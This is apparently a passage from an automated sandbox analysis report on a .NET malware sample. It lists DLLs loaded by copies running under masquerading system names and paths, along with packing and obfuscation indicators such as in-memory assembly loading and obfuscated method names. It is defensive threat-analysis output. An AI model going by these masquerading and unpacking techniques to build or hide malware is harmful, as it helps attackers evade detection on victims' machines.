Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\twain_32\Registry.exe Section loaded: mscoree.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: apphelp.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: version.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: uxtheme.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: windows.storage.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: wldp.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: profapi.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: cryptsp.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: rsaenh.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: cryptbase.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: sspicli.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: mscoree.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: version.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: uxtheme.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: windows.storage.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: wldp.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: profapi.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: cryptsp.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: rsaenh.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: cryptbase.dll
Source: C:\Windows\twain_32\Registry.exe Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: version.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: wldp.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: profapi.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: version.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: wldp.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: profapi.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Section loaded: sspicli.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: mscoree.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: apphelp.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: kernel.appcore.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: version.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: uxtheme.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: windows.storage.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: wldp.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: profapi.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: cryptsp.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: rsaenh.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: cryptbase.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: sspicli.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: mscoree.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: kernel.appcore.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: version.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: uxtheme.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: windows.storage.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: wldp.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: profapi.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: cryptsp.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: rsaenh.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: cryptbase.dll
Source: C:\ProgramData\smartscreen.exe Section loaded: sspicli.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: mscoree.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: apphelp.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: version.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: uxtheme.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: windows.storage.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: wldp.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: profapi.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: cryptsp.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: rsaenh.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: cryptbase.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: sspicli.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: mscoree.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: version.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: uxtheme.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: windows.storage.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: wldp.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: profapi.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: cryptsp.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: rsaenh.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: cryptbase.dll
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32 Jump to behavior
Source: 13ZNp2xvRU.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: 13ZNp2xvRU.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: 13ZNp2xvRU.exe, hNssXtdlcy8emRTei3J.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
.NET source code contains potential unpacker
Source: 13ZNp2xvRU.exe, HGhn2OuaYhviLuGlTpE.cs .Net Code: OZiQZOSWDp System.AppDomain.Load(byte[])
Source: 13ZNp2xvRU.exe, HGhn2OuaYhviLuGlTpE.cs .Net Code: OZiQZOSWDp System.Reflection.Assembly.Load(byte[])
Source: 13ZNp2xvRU.exe, HGhn2OuaYhviLuGlTpE.cs .Net Code: OZiQZOSWDp
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Code function: 0_2_00007FFD9B892C18 pushad ; retf 0_2_00007FFD9B892C81
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Code function: 0_2_00007FFD9B892C58 pushad ; retf 0_2_00007FFD9B892C81
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Code function: 0_2_00007FFD9B892C78 pushad ; retf 0_2_00007FFD9B892C81
Source: C:\Users\user\Desktop\13ZNp2xvRU.exe Code function: 0_2_00007FFD9B892C68 pushad ; retf 0_2_00007FFD9B892C81
Source: C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe Code function: 28_2_00007FFD9B892C04 pushad ; retf 28_2_00007FFD9B892C81
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Code function: 29_2_00007FFD9B892C04 pushad ; retf 29_2_00007FFD9B892C81
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Code function: 30_2_00007FFD9B8B2C18 pushad ; retf 30_2_00007FFD9B8B2C81
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Code function: 30_2_00007FFD9B8B2C58 pushad ; retf 30_2_00007FFD9B8B2C81
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Code function: 30_2_00007FFD9B8B2C78 pushad ; retf 30_2_00007FFD9B8B2C81
Source: C:\Windows\Panther\setup.exe\fontdrvhost.exe Code function: 30_2_00007FFD9B8B2C68 pushad ; retf 30_2_00007FFD9B8B2C81
Source: C:\Windows\twain_32\Registry.exe Code function: 31_2_00007FFD9B892C04 pushad ; retf 31_2_00007FFD9B892C81
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B872C18 pushad ; retf 32_2_00007FFD9B872C81
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B872C58 pushad ; retf 32_2_00007FFD9B872C81
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B872C78 pushad ; retf 32_2_00007FFD9B872C81
Source: C:\Windows\twain_32\Registry.exe Code function: 32_2_00007FFD9B872C68 pushad ; retf 32_2_00007FFD9B872C81
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Code function: 33_2_00007FFD9B882C18 pushad ; retf 33_2_00007FFD9B882C81
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Code function: 33_2_00007FFD9B882C58 pushad ; retf 33_2_00007FFD9B882C81
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Code function: 33_2_00007FFD9B882C78 pushad ; retf 33_2_00007FFD9B882C81
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Code function: 33_2_00007FFD9B882C68 pushad ; retf 33_2_00007FFD9B882C81
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Code function: 34_2_00007FFD9B892C04 pushad ; retf 34_2_00007FFD9B892C81
Source: C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe Code function: 34_2_00007FFD9B890028 pushad ; iretd 34_2_00007FFD9B890029
Source: C:\ProgramData\smartscreen.exe Code function: 35_2_00007FFD9B892C04 pushad ; retf 35_2_00007FFD9B892C81
Source: C:\ProgramData\smartscreen.exe Code function: 36_2_00007FFD9B8A2C18 pushad ; retf 36_2_00007FFD9B8A2C81
Source: C:\ProgramData\smartscreen.exe Code function: 36_2_00007FFD9B8A2C58 pushad ; retf 36_2_00007FFD9B8A2C81
Source: C:\ProgramData\smartscreen.exe Code function: 36_2_00007FFD9B8A2C78 pushad ; retf 36_2_00007FFD9B8A2C81
Source: C:\ProgramData\smartscreen.exe Code function: 36_2_00007FFD9B8A2C68 pushad ; retf 36_2_00007FFD9B8A2C81
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Code function: 37_2_00007FFD9B872C04 pushad ; retf 37_2_00007FFD9B872C81
Source: C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe Code function: 38_2_00007FFD9B882C04 pushad ; retf 38_2_00007FFD9B882C81
Source: 13ZNp2xvRU.exe, tvKalPXWlyrHNMycWj3.cs High entropy of concatenated method names: 'iZP5en64al', 'B4q5Ki0MYR', 'J3r5WJkVxl', 'SNO5clcC5V', 'OBk5hoXH73', 'g2x5bQvtGX', 'uCV9HwJgVxdxfKcXmwt', 'JoUhxVJn5VXDBo033FR', 'JTmqwOJwlSSMPd2gQOg', 'Ivin2rJ4kIQBFbKjMOp'
Source: 13ZNp2xvRU.exe, BlrwB9inproES0LnlC.cs High entropy of concatenated method names: '_3C3', '_7WJ', 'S9L', 'B28', 'u1sKEBlc4', 'EqhAu7agdNUu6DxGBcI', 'Qnkthka4MIGAluxEM7u', 'Q3pT4iaCbiscfeZWbit', 'OUPSs4aIDgb1gQBXkPi', 'mwUaS4aWNf6eUqFgOnr'
Source: 13ZNp2xvRU.exe, MXbcoiBrxrEffSBw7uQ.cs High entropy of concatenated method names: 'FM9YTGg8Jy', 'J7lYFw8mfP', 'OOt', '_8Md', 'qrX', '_1N5', 'x8o', 'xZTYBMfHnr', '_2m4', 'v4c'
Source: 13ZNp2xvRU.exe, nj3MPWjaJ28dCMRiNkQ.cs High entropy of concatenated method names: 'xwh', '_7WJ', '_4o3', 'B28', 'lTuIwNp67OcoO8brSG1', 'YnWfgcp1GyDvW7X82Fa', 'kYsxHmp7vyyZxHhFpci', 'fCoEgspKRGEOyYQRjYN', 'UfD55vpuGdNkelVcID0', 'vZEaWppDr3aaSvl2avF'
Source: 13ZNp2xvRU.exe, jhHvR1WsKgM3opA5iHF.cs High entropy of concatenated method names: '_56e', '_248', '_86A', 'vj4', 'W5n', 'QmBZvIxhgL', 'vtDZIg7hVY', 'a6B', 'Khk', 'H1w'
Source: 13ZNp2xvRU.exe, PJVmlcjbX4QTIyj3IFn.cs High entropy of concatenated method names: 'Tws8cRjv8K', 'FbA9Tk7ExrsdiwFZXMt', 'CV0NLv7Ffnc3MDL1yDU', 'NMwZKt7lvso4pPRruu1', 'rVM2bl7aFxyiqGR5PFp', 'GLSu5k720c5Kgu3Nune', 'spkFkf7b1D5IRIHYo6K', 'gVoOJT7pMVLbY19ljjw', 'km98bcpy4M', 'CEqbys778lF9snOG7Bp'
Source: 13ZNp2xvRU.exe, wimiVAWfIpVv84ItIFw.cs High entropy of concatenated method names: '_364', 'vEIrsaZ15h', 'Uoqrj5mLVC', 'a7DrLBs4ot', 'NKrriBfTrI', 'jctrVCGFDC', 'ajnr6IS5Ee', 'sqDt0HOxDbEWK4H7grZ', 'EDYnf2OGdPwUbttAkbp', 'mGKelIOOYhxe9eSdp3g'
Source: 13ZNp2xvRU.exe, cXOfw8tVe0IHSaKJRpg.cs High entropy of concatenated method names: 'eO1FN9dFjb', 'Pd2OkmT4cTvHtLJVY5r', 'eYGiQuTCfJmt3DO4gnC', 'UPvPbuTwT7lhpBq3elL', 'EAJodyTgkCDTpn6cOUJ', '_8e5', 'oSST3X3HF5', 'E75', '_2e1', '_127'
Source: 13ZNp2xvRU.exe, dOGmwujMvSkoyJ2naHn.cs High entropy of concatenated method names: '_88F', '_7WJ', '_461', 'B28', 'IBWUXC6PHqGGxBPqcH5', 'iSuZxk6OOBKap4CfN8H', 'qJ0Zhi69MBa23foZVNG', 'SEy1ya6xlysm112tMe4', 'aQQkyD6GxGjBBR9DLP5', 'VXerxd6drOXCMp59Fqy'
Source: 13ZNp2xvRU.exe, d4TVJnti2w5jPCRjdjt.cs High entropy of concatenated method names: 'uDUwRLT7PnEYqyh9ixp', 'gfkUPSTKXoQWThvlfdJ', 'my7gVgT6uCGQoD0DNsn', 'mnfVchT1dfs6sH1pSTc', 'OvQfO1Rams', '_71i', '_951', 'zeYfEPdhpl', 'P8Rf4X06WN', 'jIkfNEetwh'
Source: 13ZNp2xvRU.exe, NgMI7vzwfcNCBxRZEt.cs High entropy of concatenated method names: '_4W2', '_7WJ', '_6R7', 'B28', 'HZ19DxbFoZS6ooGLHoc', 'fOl52Ob2NXDvoMcjZ6n', 'yoAGLTbbZ5ELiMaG2a4', 'h92ctebpV8kjFhBklnt', 'U2Oic9b6Zp4v07ro7Ef', 'IiNuT6b1HlIUPcvDxaA'
Source: 13ZNp2xvRU.exe, oMpYJej660nprqfZLTq.cs High entropy of concatenated method names: '_13J', '_7WJ', 'G8c', 'B28', 'XDL3PQKntfBgFWTpEjo', 'D9MQFoKwjidA88WLPDN', 'MBAnlEKgf2qZMdK0WPR', 'TS7CvdK4YdBkpIFcAoe', 'Tnu9a1KChws2UW7XCf0', 'mp5p6iKIfAR0esr2NIH'
Source: 13ZNp2xvRU.exe, xtXItKtMp3ov5XIgunH.cs High entropy of concatenated method names: 'VtYyjtGBim', 'uj7yLg6j7H', 'IIeyiSC7pA', 'b3iyVcbt6t', 'hlyy61UZ7X', 'rnGQVr0ah07lsoxpIxt', 'rHL0iD0EyJwv8RfMVLg', 'od6jCq0FSDMCoU6BUPy', 'Rmt8GX02N53yEta4bjF', 'oJO0qQ0bZI2UBrgYDsh'
Source: 13ZNp2xvRU.exe, p6yaTjXQsgd19nU1uE8.cs High entropy of concatenated method names: '_348', '_55c', 'F36', 'fx1EpTrAPt', 'm71EmJfcHR', 'xN75PK3XAsIjsPpkiHi', 'I0HB1N3jnUbL8RD9lw2', 'cjPMwI3nar8U1i7Doo7', 'P41ajs3wyaUYClClyFi', 'l6asV73gOuUWK5UQkoy'
Source: 13ZNp2xvRU.exe, mDO901jXfwsllKoTGob.cs High entropy of concatenated method names: '_732', '_7WJ', '_1t4', 'B28', 'LR245hbXlgu65LlfBYZ', 'vDFj9Sbj4T7tMGu8iyb', 'd3LCbCbnuNr6SGuryFT', 'dcnWWXbwsShBmLYuVig', 'a2rRXSbg8DJyY1u5m7G', 'oEQneOb4RA8LCHhpuJf'
Source: 13ZNp2xvRU.exe, lOaQJEtFbq8pvvoWP4X.cs High entropy of concatenated method names: '_9Xh', 'pA2', '_5v5', '_4m5', '_1I6', 'ynJ', '_15m', 'V8n', '_753', 'c15'
Source: 13ZNp2xvRU.exe, o6omdj6xRGs6lBrFyr.cs High entropy of concatenated method names: 'P1z', '_7WJ', '_5Ch', 'B28', 'eYvNXv2rkLvyPXla5Xf', 'XqpAbF2sBtBAgy72frE', 'Q9Im8e2er3j8uaUBB1d', 'oLytJd2AYAaf1plVvtW', 'YTvAfs2LpmgiZUZ7MtX', 'tFbNQp2JFhhqVx9I4Tf'
Source: 13ZNp2xvRU.exe, V4SIWCjvx6lNNwB0THN.cs High entropy of concatenated method names: '_5X2', '_7WJ', '_4ws', 'B28', 'U1NcDEpS1hbKDA6KnLI', 'dnGHoupc10jM2NNRnrg', 'N53kQopysnwJkmpSeRZ', 'AQRYs6pHJZxvRQMEKaI', 'RuuA5VpfZ7mrkxflhDn', 'brTHFXpYQ58cNZWpDc6'
Source: 13ZNp2xvRU.exe, CZnOa5WIcS0XJim8lVH.cs High entropy of concatenated method names: 'Jr6nDQ9GyP', 'C5qnOyGHBC', 'YcKnEVPs7X', 'Pjun4npWqA', 'Xm4nN01hci', 'J3yFW69McR87GPZxtFJ', 'iabp8j9V8WNsY21nB6e', 'dTxhR693IXpnBf78l4y', 'Afn7iy9P3S8IcXtrdVC', 'W2uB1N9OSp9LJLYLEhK'
Source: 13ZNp2xvRU.exe, E73obGjZRoOJkOvB8PM.cs High entropy of concatenated method names: 'X4aks2lWwx', 'xp5gGEupn6RjEPLEA2M', 'SEutefu6X26BCwoiQha', 'S8DCC7u2NVS99anQnR4', 'itHKxGubFDS12pikece', 'iQKZBGu15sxHwxwLLgd', 'W21', '_7WJ', '_294', 'B28'
Source: 13ZNp2xvRU.exe, eosSqWQYV0QfjCLQjD.cs High entropy of concatenated method names: '_695', '_7WJ', '_472', 'B28', 'rUkQGX2b6LFVXWtAuR9', 'HaeScb2pxTv2HqCdww0', 'OGqrwO26Cc61WiMhmj0', 'srSR00214yTX5lMCOMa', 'HxfLSU27gi16wSfcwB0', 'jcHPjw2KmJwM3hmuXpN'
Source: 13ZNp2xvRU.exe, jNGISTtIjxDByGhAFlt.cs High entropy of concatenated method names: '_518', 'E6y', '_17E', '_79s', 'XCq', 'vm2', '_5yr', 'dlO', 'Q7M', '_59C'
Source: 13ZNp2xvRU.exe, HhDVx1u1vEbfgZRFGRV.cs High entropy of concatenated method names: 'IINQPEna6C', 'AiX9TAt6WY8HDimsbtv', 'waxCeft1HjPtE5DESkn', 'ghvdhJtbt2bJpu4Wb4P', 'TpPjwTtp4ka0NP2A7NU', 'f5CKN7t7Xoec15sxZRR', 'r14JZUtKjSf0C9WsnUD', 'ylB6RltuYhJoXy5Wi7x', 'IriNZXtDfG0yUMyXlnO', 'oyxXuMtU64dAslSqKoo'
Source: 13ZNp2xvRU.exe, noWTdl9BeDxg9tKaek.cs High entropy of concatenated method names: 'sd4', '_7WJ', '_2zX', 'B28', 'W5TWMkFA9YupjVikt94', 'K4tIUYFL7ZwUKcaDYEG', 'hu1WB9FJrAv3bvMpLkl', 'R2XTWbFRKfMMXhpsoU7', 'ebOPUTFhq7phff1oDsa', 'EvTp34FikonoV68W0xf'
Source: 13ZNp2xvRU.exe, NVagX3jmTiPRpyIL7Ds.cs High entropy of concatenated method names: '_84K', '_7WJ', 'dM7', 'B28', 'APpZMb1CnwpaWRqjRT3', 'lXQ9a21ITgYmD8YLJHj', 'HfPKCH1WKEE61b130qJ', 'wTateO189bce4RNt3Ff', 'fuFPuk10lBnjlbVq3vq', 'u1Aodg1BGB91Kk7mCGG'
Source: 13ZNp2xvRU.exe, hMWbcqX4KjMGYFYmY4q.cs High entropy of concatenated method names: 'zco2mrQc0W', 'odL2DdbmjJ', 'HpShGwV3L7ZW19MoJG0', 'ml9VBvVMOxW7JipbmFi', 'awXRUtVi11hycZ15XKn', 'cFuQMDVV7pQPIVU2NeL', 'FgAE7PVP3ge51REVp49', 'SJ4FykVOxSTMyVHh93d'
Source: 13ZNp2xvRU.exe, NQpXE2jQTBUvgBL0vJ3.cs High entropy of concatenated method names: 'J96', '_7WJ', '_95G', 'B28', 'zAMvGJKiWh5PuNVPMMn', 'wyf3LoKV97VdjPpiYXv', 'o1UyflK3aGCfuAL4hYM', 'LrSc5FKM93rqqLTNBbS', 'OEoHG7KPJDVumwhRv3f', 'kCDDsqKO4ZxlJ2d650I'
Source: 13ZNp2xvRU.exe, WVZSPmjj8T0D1VMWx4S.cs High entropy of concatenated method names: 'sf4', '_7WJ', 'xcX', 'B28', 'hmsNxJbRWDs5yUnJQEZ', 'b9w7EabhQBYm0PKiHXh', 'BsRTpnbiPQc9QZRR8ME', 'febojlbVpINuf0O9q0q', 'b7OiU2b3ogRK5vDDiLk', 's8HamqbMHnJYyRqmIP1'
Source: 13ZNp2xvRU.exe, vsvUHGtmWLaT2Flhpm4.cs High entropy of concatenated method names: 'EZcf2QiMfs', 'KhtfqupGAM', 'PS1f1cL94j', 'U1s', 'yYS', '_79P', '_5lh', 'j46', 'J63', 'wC9fMdiSa4'
Source: 13ZNp2xvRU.exe, iWbxFcurv6a7dSqCRqn.cs High entropy of concatenated method names: 'i2s5Yvaf1u', 'RLPr3uLHpNxNwgmNaTm', 'aOpZ3kLcZLMEgeS0Gu0', 'fWHsuSLyslZ5CCo5jw1', 'JwnnUMLfXMA7K1fxxac', 'UyAmMZLY1Rmw6m3lexR', 'Wse5AGBLmH', 'a7R5stH6H2', 'tt35jluWe3', 'ujO5LlwX67'
Source: 13ZNp2xvRU.exe, yuRl4HBLgDmJc9DEPEw.cs High entropy of concatenated method names: 'LJGY7YteU2', 'Rnko6gIaAXsLgCTK5RK', 'iJdynaIo67DiD6OdkCh', 'IDUN9yIlTI03xeAY17N', 'q8ygSSIExoOKMcF84JT', 'wMEtXSIFG1f17hySdBp', 'Om0PF4I2u8wr2GAlI0k'
Source: 13ZNp2xvRU.exe, weV7qmWBXfUuiNkxkyy.cs High entropy of concatenated method names: 'jPTMtgaHJ2', 'bYfwfYP3RMkuS5qE41F', 'w187WwPMAKpMsU8yZfQ', 'RnbDM5PiXaIX2IhpH73', 'if7aPmPVlydSoE26LQZ', 'QZmqxFJIcJ', 'zUZqu4EvMa', 'MkZqmrlK1O', 'Xr5qDe33J2', 'Rw5qOVchKi'
Source: 13ZNp2xvRU.exe, UhTkskBCQGdeI2p01jD.cs High entropy of concatenated method names: 'yCQYSuc7Du', 'VGSYJ2Z1KI', 'GeTYlQV8ZQ', 'NLKY5Yj0L9', 'g8GY0px6a9', 'CFqY2xnKSM', 'glIYqKBVjG', 'TPoY1avik6', 'QVQYMeJabP', 'n1yYruf8TW'
Source: 13ZNp2xvRU.exe, HGhn2OuaYhviLuGlTpE.cs High entropy of concatenated method names: 'dMQQmNILVO', 'v6BQDlVl7s', 'q0lQOnccSc', 'f88QEJLjUx', 'DVxQ4LAqKx', 'EDjQNcBkIR', 'kfXQajPyIF', 'vXS1t6UGqYMO1iTIZSm', 'U4jHRPU9hHLwpNJLEgB', 'k82rc2UxHTJtsJt6Phh'
Source: 13ZNp2xvRU.exe, GklpEljg8LmCoeKIlom.cs High entropy of concatenated method names: 'lAW8HYoo68', 'tKWVB57IyrEWPusUGoE', 'E0NSfn7Wr7RUHEKax1I', 'Y88g1T74PTgAb4QVVtp', 'iPuRVf7CJTUIKnpXsQM', 'VA4ITi78IIliNZ407l2', '_314', '_7WJ', 'IO3', 'B28'
